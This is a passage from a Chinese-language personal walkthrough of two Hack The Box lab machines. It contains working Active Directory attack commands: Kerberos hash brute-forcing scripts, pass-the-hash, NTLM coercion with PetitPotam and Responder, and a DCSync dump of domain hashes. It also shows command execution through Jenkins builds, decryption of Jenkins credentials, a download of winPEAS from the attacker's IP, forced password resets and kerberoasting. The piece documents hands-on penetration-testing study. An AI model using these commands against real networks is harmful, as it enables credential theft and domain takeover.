 print(temp[3])
 open('userandpass.txt','a',encoding='utf-8').write(temp[0]+':'+temp[2]+":"+temp[3]+'\n')
 open('users.txt', 'a', encoding='utf-8').write(temp[0] + '\n')
 open('hashes.txt', 'a', encoding='utf-8').write(temp[2] + ":" + temp[3] + '\n')
 except:
 pass

我加了个终止符下面的方法暂且不用这样就有了user.txt和hashes.txt 可以爆破了但是如果全都进行一对一爆破势必会很卡首先我去找88端口用kerbrute找出存在的用户名然后再用用户名和hashes.txt一起爆破这样更合理

1

kerbrute userenum --dc htb.local -d htb.local users.txt

刚刚爆破了半天没一点反应重启靶机就好了

都不行

只有三个账号花了很长的时间爆破了将近20分钟默认密码都是错了这三个账号我打算从最下面那个开始爆破

爆破着又不行了这已经是第三次了隔了一会又好了然后又不行了这里有防爆破的机制

445不行我就接着换协议毕竟88端口没有限制 5985winrm可能也没限制得测一下(winrm缺点就是账号密码可能是对的但是无法登录就没办法)

1
2


kerbrute bruteforce --dc htb.local -d htb.local new_userandpass.txt
crackmapexec winrm htb.local -u 1.txt -H hashes.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


import re

temp_htlm = open('htlm.txt','r',encoding='utf-8').readlines()
for i in temp_htlm:
 temp = i.replace('\n','')
 if 'endstop' in temp:
 break
 temp = temp.split(':')
 try:
 print(temp[0])
 print(temp[3])
 open('new_userandpass.txt', 'a', encoding='utf-8').write("henry.vinson" + ":" + temp[3] + '\n')
 open('new_userandpass.txt', 'a', encoding='utf-8').write("APT$" + ":" + temp[3] + '\n')
 open('new_userandpass.txt', 'a', encoding='utf-8').write("Administrator" + ":" + temp[3] + '\n')
 except:
 pass

生成用户名+hash的方式才能用kerbrute 双线爆破现在等就行了

等了很久没有一个结果 kerbrute可能是我传上去的是一个hash字典网上没有爆破账密的教程所以我是看的-h写的参数 crackmapexec大概率是因为不允许winrm登录才导致没有爆破成功

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87Kerberos-pre-auth%E8%BF%9B%E8%A1%8C%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E5%92%8C%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4

在我搜索的时候这个博客给了一个工具可以爆破hash

https://github.com/3gstudent/pyKerbrute/

使用的时候一直报错看了下源码报错点

少了两个tab 没有对其到if语句里面因为下面还有个else

奇了怪了 vscode里没事放进去就变成这样手动删减之后save还会变成这样最终还是调好了我感觉那个前面的tab有问题我就全删了重新排

又出报错了我不知道就算我把它修好了他还能不能用但是至少目前只有这一条路没办法我去搜了这个报错说是版本错误但是

他这是有自带的只要导入自带的包就行接着改代码

我改好了导入在windows上没有问题但是一到kali上就会报错

https://stackoverflow.com/questions/52477683/importerror-bad-magic-number-in-time-b-x03-xf3-r-n-in-django

根据提示我需要把那个文件夹里所有的pyc删了删了就能运行了

这里报错是因为我的传参是文件指向他需要的不是这个

改好之后又报错了

正常情况也是会报错的跟我写的没关系

https://www.cnblogs.com/zhaijiahui/p/9597935.html

这个博客提到了解决方法解决方法如下

1

user_key = (RC4_HMAC, bytes.fromhex(temp))

报错

我改了又改 python2换到了python3 我敢肯定这个代码绝对有问题根本改不完这条路可能都行不通我打算去看wp了

一个wp用的就是这个他用的是python2 而且貌似并不报错我看不到太多信息比如版本之类的我去搜其他博客我去搜其他博客都是在介绍ADPwdSpray.py 并且用的也是python2 但我就是无法使用

还有一个wp的方法利用的是getTGT 原理就是 getTGT可以用hash 走的也是Kerberos协议如果有正确回显那密码就是正确的不得不说这个思路很好他其实跟上面的那个ADPwdSpray.py原理没区别但是ADPwdSpray.py我无法使用接着编写bashshell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


#!/bin/bash

for temp in $(cat hashes.txt)
do
	result=$(getTGT.py htb.local/henry.vinson -hashes $temp)
	if [[ $result != *"Pre-authentication information was invalid"* ]]
	then
		echo $temp
		echo $result
	fi
done

出结果了刚刚的用的是我找了一个错误抛去错误输出就行了这里提示时钟不对也代表hash正确

用我之前一直用的调时间的方法这里行不通他找不到那个服务器用ipv4和v6都不行

https://gitlab.com/NTPsec/ntpsec/-/issues/292

https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found

这两个博客把我的现状解释的很清楚如果目标服务器存在v4和v6 那么ntpdate就是不起作用需要指定-6或者-4 其次还需要目标开启123端口ntp服务

我没有其他办法得寻求claude的帮助至少在学习期间我得收集几种方法

1
2
3
4
5
6


rpcclient -U "" -N htb.local
rpcdump> gettime
# 或者
net time -S htb.local

date -s "Sat Dec 7 05:14:11 2024"

这是他的教程拼接下命令就行

1

date -s "$(net time -S htb.local)"

终于可以了最好还是把两个命令拼在一起不然过了一会又不行了

winrm果然不行白浪费了那么多时间 smb倒是可以

1

smbclient -L //htb.local/ -U 'henry.vinson%e53d87d42adaa3ca32bdb34a876cbffb' --pw-nt-hash

没什么区别也没什么利用方法了拿到一个用户的凭证无非就是SMB还有LDAP做信息收集现状是目标SMB没区别 LDAP貌似不能用hash传递

1
2


GetUserSPNs.py htb.local/henry.vinson -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local -request
GetADUsers.py -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson -dc-ip htb.local

这一步我又去看了wp 都提示需要远程访问注册表

这里有reg.py的教程

https://wadcoms.github.io/wadcoms/Impacket-Reg/

ps:在我尝试的时候我发现它是通过smb查询的

1

reg.py htb.local/henry.vinson@htb.local -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKLM\\

没有权限？我开始找存在哪些注册表或者说远程注册表什么

https://blog.csdn.net/youyudexiaowangzi/article/details/123707258

这个博客给了我答案

也就是只能查HKLM和HKU 刚刚试了HKLM不行

HKU还是有东西的有些能访问有些不行我还是去搜搜HKU信息泄露把不然太多了一直查询太慢了

能访问的SID只有S-1-5-18、S-1-5-21-2993095098-2100462451-206186470-1105、S-1-5-21-2993095098-2100462451-206186470-1105_Classes

那只能挨个看了除了这几个SID能看其实.DEFAULT也能看这里我选了-s参数可以访问并遍历这个节点所有的key

1

reg.py htb.local/henry.vinson@htb.local -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKU\\ -s

1
2
3


\S-1-5-21-2993095098-2100462451-206186470-1105\Software\GiganticHostingManagementSystem\
	UserName	REG_SZ	 henry.vinson_adm
	PassWord	REG_SZ	 G1#Ny5@2dvht

没问题直接连上去

whoami和systeminfo没有什么信息

1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/winPEASany.exe -OutFile .\winPEASany.exe

传上去看看信息

从上往下看标红色的都值得注意我去看了一下history

查看之后如下

1
2


$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}

目前每次遇到powershell的文件我都会去搜索每个函数是干啥用的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


# 此命令获取一个凭证对象并将其保存在变量中。 输入命令时，系统会提示您输入用户名和密码。
# 输入所需信息后，cmdlet 会创建一个表示用户凭据的PSCredential$c对象并将其保存在变量中。
# 密码没有捕获到 因为是交互式的
get-credential

# 运行命令并指定凭证
invoke-command -credential $Cred

# 指定计算机
-computername

# 指定计算机后可以在目标计算机上执行命令 实际上就是在本地执行命令
-scriptblock

# 创建注册表并赋予初值
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"

# 根据我查到的默认值为LmCompatibilityLevel 有以下介绍
# 默认情况下，LM 和 ntlmv1 未被禁用，因此值为 3，表示接受 LM 和 NTLMv1
# 并且如果服务器支持则使用 NTLMV2。
lmcompatibilitylevel

# type的参数我只找到了介绍 RegistryValueKind 但是我google了这个他说是32位无符号整数 数据类型
-Type DWORD

# value就是给某个name赋值 他没有指定name 实际上就是给LmCompatibilityLevel赋值为2
-Value 2 -Force

上面我搜索到的结果只提到了 3，4，5是什么情况 没提到2是什么情况 不过我还是找到了
下面最后一个链接告诉了我答案
也就是默认会使用NTLMv1认证同时接受LM和NTLM认证

参考的博客如下包括参数都是能查到的

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-7.4

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.4

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4

https://learn.microsoft.com/en-us/answers/questions/1189745/what-is-the-default-lmcompatibilitylevel-for-windo

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level

读懂算是读懂了利用倒是不知道怎么利用或许这里就没有漏洞但是由此作为切入点我还是尝试搜索

NTLMv1滥用我找到了这样一个博客

https://book.hacktricks.xyz/cn/windows-hardening/ntlm

并且这里也有Lsa的lmcompatibilitylevel设置方法及介绍

利用方法也有不过没有具体的只有思路我感觉这个就是HTLM中继我之前有学习过如果域控这台机器开启了打印服务 Spooler服务运行的话就可以尝试我记录的这个方法如果不行我将接着去找而且是针对HTLMv1的去找

貌似不行这可能就不是HTLM中继因为我尝试Get-Service Spooler的时候因为权限不够还是咋回事无法访问可能就是没开启并且我尝试printerbug的时候指定域名识别不出来

我接着看看上面的那个HTLMv1攻击

https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md

https://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D

这两个博客我配合着看的

1
2
3
4
5
6
7
8
9


编辑/etc/responder/Responder.conf文件

HTTPS = On
DNS = On
LDAP = On
...
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788

1
2
3
4
5
6


# 然后运行
responder -I eth0 --lm

# 提到了两种方法 一种无需认证 一种需要认证
>PetitPotam.exe Responder-IP DC-IP #2021 年 8 月左右修补
>PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP #未为经过身份验证的用户打补丁

我打开这个软件的地址的时候看到了一个河马突然感觉很眼熟貌似学过

的确记录过就在我刚刚利用的打印机认证的下面

打印机服务没开启这两个确实开启了没有问题利用前提是可以的版本号也对的上只是我学的时候用的中继一直都是ntlmrelayx 这几次靶场都是responder的教程

1

python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local

发起认证失败没事还能传到靶机上用这个方法

1

PetitPotam.exe Responder-IP DC-IP

结果也不行

在我的搜索下没有任何能够让域控发起认证的方法了又该去看看WP了我只找到3个关于这个靶场的WP 我的目的是为了看每个人的思路是什么样的从而扩展自己的思路但是这里他们都选择一个MpCmdRun.exe

这是一个防病毒软件根据WP的方法就是开一个smbserver 让MpCmdRun.exe远程扫描在远程扫描的时候需要发起认证这时候就能捕获到了这应该是常规的方法我将它记到我的笔记里

我用dir找到了很多MpCmdRun.exe 随便试一个就行了

1
2


C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0
.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe

到这里我懵了我承认这个靶场我打了一天多学习新东西不能一眼而过所以我一直在思考记住现在有点晕实际上我前面尝试的是能利用的

我选错网卡了我换成正确的网卡后还是利用

1

python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local

已经有结果了 HTLM中继是没问题的打印机倒是不行因为他的服务都没开防病毒这个也能利用

1

.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.14\file.exe

1
2
3


[SMB] NTLMv1 Client : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788

因为获取的是相同的所以显示跳过了还是按照之前的教程 Pentest_Note/wiki/横向移动/NTLM中继和中间人攻击/捕获和破解Net-NTLMv1和NTLMv1哈希.md at master · xiaoy-sec/Pentest_Note

https://crack.sh/ 关闭了正在修复所以我这里选择hashcat

1

hashcat -m 5500 -a 3 1.txt /usr/share/wordlists/rockyou.txt

hashcat太慢了我换成了john

1

john --format=netntlm 1.txt

实际上 crack.sh hashcat john 都能将密码跑出来但是很费时间我这里直接用wp里的结果了

1

d167c3238864b12f5f82feae86a7f798

并且这个密码是APT$的密码带$一般都是机器账户而机器账户默认会拥有DCSync权限而DCSync权限允许模拟域控制器进行复制所以下面直接用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


/usr/share/doc/python3-impacket/examples/secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 htb.local/APT\$@htb.local -dc-ip htb.local

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::

PTH

1

evil-winrm -i htb.local -u administrator -H c370bddf384a691d811ff3495e8a72e2

结束

这个靶场耗时一天多这是我迄今为止遇到的最难的靶场 wp我都看了很多遍涉及到了太多技术了如果不看WP 我估计我会彻底卡死刚开始的RPC我现在都有点忘了除了RPC不是意料之中的其他都算是常规的服务及渗透思路要彻底打开才行这个靶场做的非常好跟理论知识严丝合缝比如爆破账密这里只能用Kerberos协议而我找的脚本都不行扩展思路之后用getTGT其实也能爆破这个想法非常好其次就是APT$这个机器账户机器账户一般都有DCSync权限所以这里能直接给他的HTDS.dit复制出来 HTLM发起认证的方法也学了一种新的

注册表查询 bashshell的编写 powershell的审计文本筛选(bash和python都行我这里用的python) 改python脚本(原本的程序我都无法使用所以改了半天改不好) 以及各种协议的hash传递

涉及的面非常广在后期应该会和forest Fuse一起重新打一遍和前几个靶场不一样的在于前几个靶场不算常规的算是针对服务特有的而这个属于常规但是要特别熟悉才行不然想不到上面的这些方法

21.Object

信息收集：

80端口得到一个域名貌似没有什么东西只有一个指向

8080

admin是存在的我不觉得这里是为了让我手动去挖漏洞肯定是有利用方法的

后台跟之前学的azure devops一样不过那个主要是针对aspx的而这个是针对java的所以理论就是如果能进入后台那么就能跟之前一样传上去一个jsp文件就能被正常交付到站点所以说80端口可能就是在这里部署的我需要的就是进入后台部署我的webshell之后就可以了当然也可能是子域存在自动化部署得上去看看

随便创了一个号进了后台

据我了解的getshell的方法就在这基本上我找到的博客都提示的去找这条路但很明显我的权限不够

而且2.317

他是21年10月19日发布的所以我得找21年之后的exp 目前能确定的就是如果能拿到admin的密码那么就能getshell 这个毋庸置疑但是靶场发布的时间是2022年2月8日也就代表了这四个月期间如果没有新的CVE那么就不能打EXP 得用其他方法

知道了初始密码的位置

如果能找到任意文件读取也可以利用 UDP的几个端口我一直放着的我想先收集一下这两个web服务都有什么

UDP 53

1
2


dig object.htb @object.htb +notcp
dig object.htb @object.htb +notcp AXFR

没有找到什么东西

88 kerberos

这个没有什么信息泄露就不看了

123 ntp

1
2
3
4
5
6
7
8


nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 object.htb
ntpq -c readlist object.htb
ntpq -c readvar object.htb
ntpq -c peers object.htb
ntpq -c associations object.htb
ntpdc -c monlist object.htb
ntpdc -c listpeers object.htb
ntpdc -c sysinfo object.htb

其他的提示xxxxRequest timed out

389 ldap

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3fad0ec9-414c-432a-ba0b-837c74091dd6?redirectedfrom=MSDN

https://serverfault.com/questions/661535/querying-ldap-server-on-udp

也就是仅能进行身份验证目前身份验证已经有了udp的88端口 udp的389端口 tcp的5985端口

udp里面没有东西 dnsenum也不支持udp 那就只能手动爆破了我打算利用FFUF爆破子域名

1

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.11.132 -H "Host: FUZZ.object.htb" --hh 29932

并且现在都有点不确定他到底是不是域控了把目光放回tcp的80和8080 爆破子域的同时爆破目录我尝试cewl 80端口然后放到8080上爆破密码但是没有成功

在爆破期间也不能光等着我觉得8080的服务既然有用户注册功能还能进后台那必然是有联系的注册的用户Jenkins没有项目我打算去搜Jenkins的教程自行创建一个项目然后发布

https://juejin.cn/post/7077957170121146376

https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/

我找到了如上的博客

很多博客都讲了该如何写这个直接搜就行

https://community.jenkins.io/t/windows-batch-w-error-ends-unexpectedly-w-status-success/4884/3

https://stackoverflow.com/questions/75830922/execute-windows-batch-command-in-jenkins-for-java-program

https://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/ #这个博客有全套流程但是命令不是很详细

可惜的是我跟着走完发现少了一个build按键

导致无法执行应该是权限不够我开始google该如何触发build

https://ghazanfaralidevops.medium.com/jenkins-popular-build-triggers-automate-the-cicd-pipeline-81cc39f4701b #这个都介绍了

https://codefresh.io/learn/jenkins/9-jenkins-build-triggers-and-how-to-use-them-effectively/ #这个比上面的全

根据教程挨个试

第一个是计划任务

计划任务的写法他也给了如果是* * * * *就代表每分钟build一次

这里出结果了

console也出结果了这里是可以执行命令的处于学习的目的我将把这几个选项当然是不太难搭建的部分看一下

第二个是SCM（源代码管理）触发器

SCM 触发器是 Jenkins 中最常用的构建触发器之一，每当在源代码存储库中检测到更改时，它都会启动构建。此触发器对于持续集成实践至关重要，因为它可确保自动测试最新的代码更改并将其集成到主代码库中。

一样也是五个* 每分钟检查一次只要我提交了一分钟内就能build完成

我找了一个项目只要他进行下载构建就能执行build 可惜的是一直提示连不到

这里也进行了一次build 但是错误是因为我没有配置git tool 这个是因为我刚开始配不懂后面我改了就如我的配置截图上面可以看到我配置成了git 但是此时他报错

第三种 Trigger builds remotely (e.g., from scripts)

访问方式也很简单

http://object.htb:8080/job/123124/build?token=124124

token就写我刚刚在上面写的数字就行

也没有问题

最终我选择了一个用URL触发就行因为每分钟执行一次会导致build history越来越多很麻烦

准备反弹shell

奇了怪了访问失败

我确定不是端口的问题就是访问不了可能是出站流量全部禁了我说刚刚git的那个为什么无法git到明明项目就是存在的那这里只能用他给的方法来getshell了也就是winrm 利用winrm之前需要有一个账户才行

在进行我的想法之前我打算先看看他的防火墙配置

https://learn.microsoft.com/en-us/powershell/module/netsecurity/get-netfirewallrule?view=windowsserver2022-ps

我在这里找到了命令方法上面的文档里都能查到

1
2
3
4
5
6


powershell /c "Get-NetFirewallRule -PolicyStore ActiveStore -Direction Outbound -Action Block -Enabled True"

-PolicyStore 活动存储中的所有防火墙规则
-Direction 出站策略
-Action 禁止策略
-Enabled 状态启用

果然全部出站流量被禁止这时候我想getshell只能通过这个web服务拿到信息然后通过winrm连接在我通过构建项目RCE之前有个提示 admin的密码存放地当时找的linux的是confing.xml windows貌似如下

就是这个直接dir /S 找就行了

确实没找到confing.xml

~~我又找了一下提示我说密码文件叫做config.xml 我又去搜了但是这次我加上了搜索隐藏文件~~

1
2
3


cd C:\
dir /S jenkins*
dir /S /a config.xml

~~不出意外是这个了~~

~~跟这个说的一样~~

https://medium.com/@sdanerib/getting-started-with-jenkins-docker-part-iii-reset-jenkins-admin-password-when-you-have-a-ff81ffa6774f

这个博客给了我答案 config.xml这个文件名称没问题的

密码就在这这是我之前查询的结果但是当时我不清楚这个就是密码

1
2
3
4


<username>oliver</username>
<password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>

<passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>

我没有找到相关的博客来介绍解密流程我只找到了一些github项目

https://github.com/hoto/jenkins-credentials-decryptor

比如这个就很详细按照这个来吧如果不行就接着再去找

1
2
3
4


$JENKINS_HOME/credentials.xml
$JENKINS_HOME/secrets/master.key
$JENKINS_HOME/secrets/hudson.util.Secret
$JENKINS_HOME/jobs/example-folder/config.xml - Possible location

需要这几个文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


$JENKINS_HOME/secrets/master.key
c:\>dir /S /a master.key
 Volume in drive C has no label.
 Volume Serial Number is 212C-60B7

 Directory of c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets
c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key

 $JENKINS_HOME/secrets/hudson.util.Secret
c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret

貌似是二进制文件这个也好办只要遇到二进制的基本都用base64编码再解码就行我找到了这种方法

1
2


certutil -f -encode c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\1.txt
type c:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\1.txt

没问题

1
2
3
4
5
6


gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu
2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHO
kX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2L
AORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9
GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzc
pBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=

1
2


base64 -d 1.txt > hudson.util.Secret
cat hudson.util.Secret

开始解密在上面的项目地址下好文件

报错了还是根据github的教程来吧

1
2
3
4
5


curl -L \
 "https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.2/jenkins-credentials-decryptor_1.2.2_$(uname -s)_$(uname -m)" \
 -o jenkins-credentials-decryptor

chmod +x jenkins-credentials-decryptor

他这个在后面有个uname判断用它这个命令好点不自己下载了

还是这样我检查了几遍文件确定我的文件没有出任何问题

有人跟我遇到了一样的问题但是作者没有回复他

根据报错信息我去搜了下

他这里有介绍而根据这个备注信息我大概能理解了 hudson.util.Secret和master.key文件类型可能不对

我直接复制粘贴导致master.ket的类型为ascii text 我尝试去看看靶机上的类型是什么

可惜的是我找了一会并没有找到再windows上判断某个文件是否为二进制文件的命令那我打算还是用base64 这样也不担心文件类型了

白忙活了那就再去看看config.xml文件将他也用base64读出来读出来之后依然不行

https://github.com/tweksteen/jenkins-decrypt/

这还有一个脚本

改好了之后接着运行又报错了

我最近用的脚本貌似就没几个能直接用都要自己改而这个提示非常明显了 3.9这个函数被删了我改了之后又遇到了编码问题这个我暂时不管了再换一个项目

https://github.com/thesubtlety/go-decrypt-jenkins?tab=readme-ov-file

他告诉我hudson.util.Secret这个文件有问题但是我看我的操作 base64编码解码写入文件应该没有问题才对再试一次把结果还是不行遭不住了我去看了wp 跟我这些步骤一样没区别都是这样操作的

我甚至直接把他们的导入命令拿来用了还是报错我感觉这软件是不是在我电脑上才出问题我现在没有任何办法比如我打包python3的那个文件转成base64 再传到靶机上

这15万行根本不现实

经过一番搜索我找到了答案在kali中我习惯vim打开文件然后写入 master.key我就是这样写入的但是这样会导致文件多了一位 master.key应该是256位才对不管是用vim还是echo 还是base64编码在解码都是257位我明明没有添加任何换行符依然都是这样

1
2


wc -c master.key
257 master.key

直到我把文件放到windows上进行粘贴他才正常为256位我不知道为什么kali上也是粘贴进去会多一位而windows上粘贴就正好是256

我从windows上把正常的master.key文件移到了kali上不出意外

都能成功解开我忙活了半天结果是文件出的问题

加上-n也能解决问题这是其他wp没有提到的我估计我之前看到的那些issus也是这个问题没人意识到这一点

目前有了密码

1
2
3
4
5
6
7


[
 {
 "id": "320a60b9-1e5c-4399-8afe-44466c9cde9e",
 "password": "c1cdfun_d2434",
 "username": "oliver"
 }
]

oliver存在家目录可以撞库连接winrm

能上来开始提权 whoami /priv 和 systeminfo 都没东西

1

cmd /c "netstat -ano | findstr LISTENING"

跟之前扫描udp的结果一样就是一个域控将SharpHound传上去吧

1

upload SharpHound-v2.5.9/SharpHound.exe

然后下载到本地

奇怪的是明明里面有东西但是无法导入

他会一直卡住我以为我的bloodhound坏了就上传了以前获取过的zip 结果是可以解压解析的

那就是我弄下来的文件有问题

https://www.cnblogs.com/tysec/p/16811651.html

用这个博客里的方法也失败了

http://www.luckysec.cn/posts/7ebaa71c.html

这个博客告诉我了答案但是我的数据采集工具也是最新的为啥不行呢至少4.0.3兼容用这个看看

也不麻烦解压就能用

https://github.com/BloodHoundAD/BloodHound/releases

1

./BloodHound --no-sandbox

还是不行我感觉可能又是文件的问题我把kali重启了还是不行我只能再去看wp 看看别人是否也这样可惜并没有这样的但是那个博客给了我一个提示他的博客是22年写的他用的也是22年的老版本去提取就因为提取这一步我才能解决如果后面有人跟我一样起码还能解决

https://github.com/BloodHoundAD/SharpHound/releases?page=3

下载最初的版本找到里面的ps1提取

1

powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"

然后启动最新版的bloodhound 不要用4.0.3的我这里是

将刚刚那个导入就行终于成功了大概率是目标域环境太复杂了？还是因为什么提取器提取老是错误导致无法解析到bloodhound

以当前用户为基准来看看如何提权有点乱挨个来吧因为net user给我看了还有俩用户

具体权限如下

路径这样就清晰了直接改smith的密码然后操控maria 给smith加到域管里就行

总体路径如下

路径有了就挨个来

先改smith密码

1
2
3
4
5
6
7
8
9


$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('OBJECT.HTB\oliver', $SecPassword)

$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

upload /home/kali/Desktop/bruteratel/server_confs/PowerView.ps1
. .\PowerView.ps1
Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword -Credential $Cred
Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword

smith这个用户不见了没有找到

1

Get-DomainUser

实际上是存在的因为本来就有改smith的权限我把后面的凭证删了

1

Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword

运行没有报错

1

evil-winrm -i object.htb -u smith -p Password123!

成功上来了接着下一步的help如何利用还是去掉鉴权因为我已经是smith了

1
2


Set-DomainObject -Identity maria -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
Get-DomainSPNTicket maria | fl

又开始报错了他说他无法验证SPN上的参数奇了怪了我又写了一次 |fl 也去掉了

1
2


Set-DomainObject -Identity maria -SET @{serviceprincipalname='nonexistent/BLAHBLAH11'}
Get-DomainSPNTicket maria

这回有结果了成功的给maria创建了SPN 这就回到了常规的地方当一个账户存在SPN时就可以去拿他的TGS 然后破解就行

https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md

之前一直是远程渗透这个博客提到了在域内的情况下该如何利用

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

1
2


. .\Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl

同时我也在尝试 Rubeus.exe

1

.\Rubeus.exe kerberoast

这两个结果都为空难道设置了SPN也拿不到TGS吗我理解不了为什么会这样还是根据wp 当然只有一个wp写的很好思路很清晰能学到东西它提示说如果说spn胡乱设置不被允许访问需要具有有效格式的SPN才行

https://learn.microsoft.com/en-us/windows/win32/ad/name-formats-for-unique-spns

1

setspn -a MSSQLSvc/object.local:1433 object.local\maria

还是无法获取明明当前已经是smith了下一步提示告诉我即使当前是smith 但是这里还是需要传入凭证不然还是无法访问之前一直没用到的凭据在这里用到了

1
2
3


$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.htb\smith', $SecPassword)
Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433" -Credential $Cred

